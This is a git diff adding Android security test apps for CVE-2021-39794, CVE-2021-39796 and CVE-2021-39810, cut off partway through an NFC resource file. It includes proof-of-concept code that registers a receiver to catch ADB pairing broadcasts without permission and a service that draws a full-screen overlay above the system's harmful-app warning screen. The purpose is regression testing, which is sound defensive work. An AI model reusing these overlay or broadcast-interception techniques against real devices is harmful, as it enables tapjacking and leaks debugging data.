index 0000000..c62e464
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
new file mode 100644
index 0000000..ebad4ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // If PocReceiver is able to receive AdbManager broadcasts
+ // without having MANAGE_DEBUGGING permission, this indicates
+ // that vulnerability exists. Transfer control back to
+ // the test app and make the CTS fail in PocTestActivity
+ try {
+ Intent i = new Intent();
+ i.setClassName("android.security.cts.CVE_2021_39794_test",
+ "android.security.cts.CVE_2021_39794_test.PocTestActivity");
+ i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(i);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
index bcbf54f..0ddc4fa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,20 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39794-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ certificate: "platform",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..8ae6025
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39794_test"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.MANAGE_DEBUGGING"/>
+ <application
+ android:label="CVE-2021-39794-test"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocTestActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39794_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
new file mode 100644
index 0000000..d918b06
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.Context;
+import android.debug.IAdbManager;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final int MAX_WAIT_TIME_MS = 10000;
+
+ @Test
+ public void testCVE_2021_39794() {
+ IBinder binder = ServiceManager.getService(Context.ADB_SERVICE);
+ assumeNotNull(binder);
+ IAdbManager manager = IAdbManager.Stub.asInterface(binder);
+ assumeNotNull(manager);
+ try {
+ manager.enablePairingByPairingCode();
+ } catch (RemoteException e) {
+ assumeNoException(e);
+ }
+
+ // Wait for receiver app to get the broadcast
+ try {
+ Thread.sleep(MAX_WAIT_TIME_MS);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
new file mode 100644
index 0000000..6c11b9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocTestActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ fail("Vulnerable to b/205836329 !!");
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
similarity index 60%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
index bcbf54f..9ba76d0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39796",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
new file mode 100644
index 0000000..9ef9763
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39796"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_39796"
+ android:supportsRtl="true">
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="true" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39796" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
index bcbf54f..d669e9f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39796-harmful",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
new file mode 100644
index 0000000..52f2fd2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39796_harmful"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-39796-harmful"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..bb5d570
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
new file mode 100644
index 0000000..3ca3645
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796_harmful;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
new file mode 100644
index 0000000..c16cd74
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivity">dumpsys activity</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity
+ command</string>
+ <string name="errorMessage">Device is vulnerable to b/205595291 hence any app with
+ SYSTEM_ALERT_WINDOW can overlay the HarmfulAppWarningActivity screen</string>
+ <string name="harmfulActivity">android/com.android.internal.app.HarmfulAppWarningActivity
+ </string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayAttack">overlayattack</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39796</string>
+ <string name="vulActivityNotRunningError">The HarmfulAppWarningActivity is not currently
+ running on the device</string>
+ <string name="vulnerablePkg">android.security.cts.CVE_2021_39796_harmful</string>
+ <string name="vulnerableActivity">android.security.cts.CVE_2021_39796_harmful.PocActivity
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
new file mode 100644
index 0000000..20fccde
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+ }
+ }
+
+ public void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent();
+ intent.setClassName(context.getString(R.string.vulnerablePkg),
+ context.getString(R.string.vulnerableActivity));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ PackageManager pm = getApplicationContext().getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ String vulnerableActivityName = context.getString(R.string.vulnerablePkg) + "/"
+ + context.getString(R.string.vulnerableActivity);
+
+ assumeTrue(context.getString(R.string.activityNotFoundMsg) + vulnerableActivityName,
+ ris.size() != 0);
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Context context = getApplicationContext();
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = mDevice
+ .wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), LAUNCH_TIMEOUT_MS);
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(context.getString(R.string.dumpsysActivity)
+ + " " + context.getString(R.string.harmfulActivity));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
new file mode 100644
index 0000000..a7a9c5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ assumeTrue("The application cannot draw overlays",
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText("OverlayButton");
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
similarity index 69%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
index bcbf54f..9a11e88 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -12,15 +12,22 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39810",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
new file mode 100644
index 0000000..3bdc38d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39810"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.NFC"/>
+ <application
+ android:label="CVE-2021-39810"
+ android:supportsRtl="true">
+ <service
+ android:name=".PocService"
+ android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+ android:resource="@xml/aid_list"/>
+ </service>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
new file mode 100644
index 0000000..8983381
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
